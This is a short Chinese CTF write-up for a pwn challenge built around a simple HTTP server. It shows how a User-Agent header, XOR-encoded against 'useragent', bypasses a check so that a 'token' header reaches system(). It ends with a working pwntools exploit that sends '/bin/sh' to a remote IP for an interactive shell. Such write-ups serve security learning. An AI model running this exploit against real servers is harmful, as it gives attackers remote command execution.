题目链接:https://pan.baidu.com/s/1qB1JD8dlkOamCJJU2wRc-g 密码:7jn3
程序分析
有两个文件夹step1和step2,两个程序相同,但是step1是静态编译。step2是动态链接,所以step2的更易于分析
IDA载入
这是一个简易的http服务器,往下跟进
这里我们可以看到如果,满足if判断并且使system的参数为‘/bin/sh,就可以实现getshell
绕过if检测的关键在于
简单的异或,这里s==‘useragent’
漏洞利用
1.通过异或函数构造好想要的报文来绕过if检测
2.绕过之后上传‘/bin/sh’
EXP
from pwn import*
#p=process('./http')
p=remote('106.75.2.53', 80)
def check(data):
payload=''
for i in range(len(data)):
payload+=chr(i^ord(data[i]))
return payload
payload='User-Agent: '+check('useragent')
payload+='token: '+'/bin/sh'
payload+='\r\n\r\n' #http协议
p.sendline(payload)
p.interactive()
学习链接:
http://tacxingxing.com/2017/12/27/icqbai-du-bei11yuepwn/#toc_1
https://www.ichunqiu.com/course/56467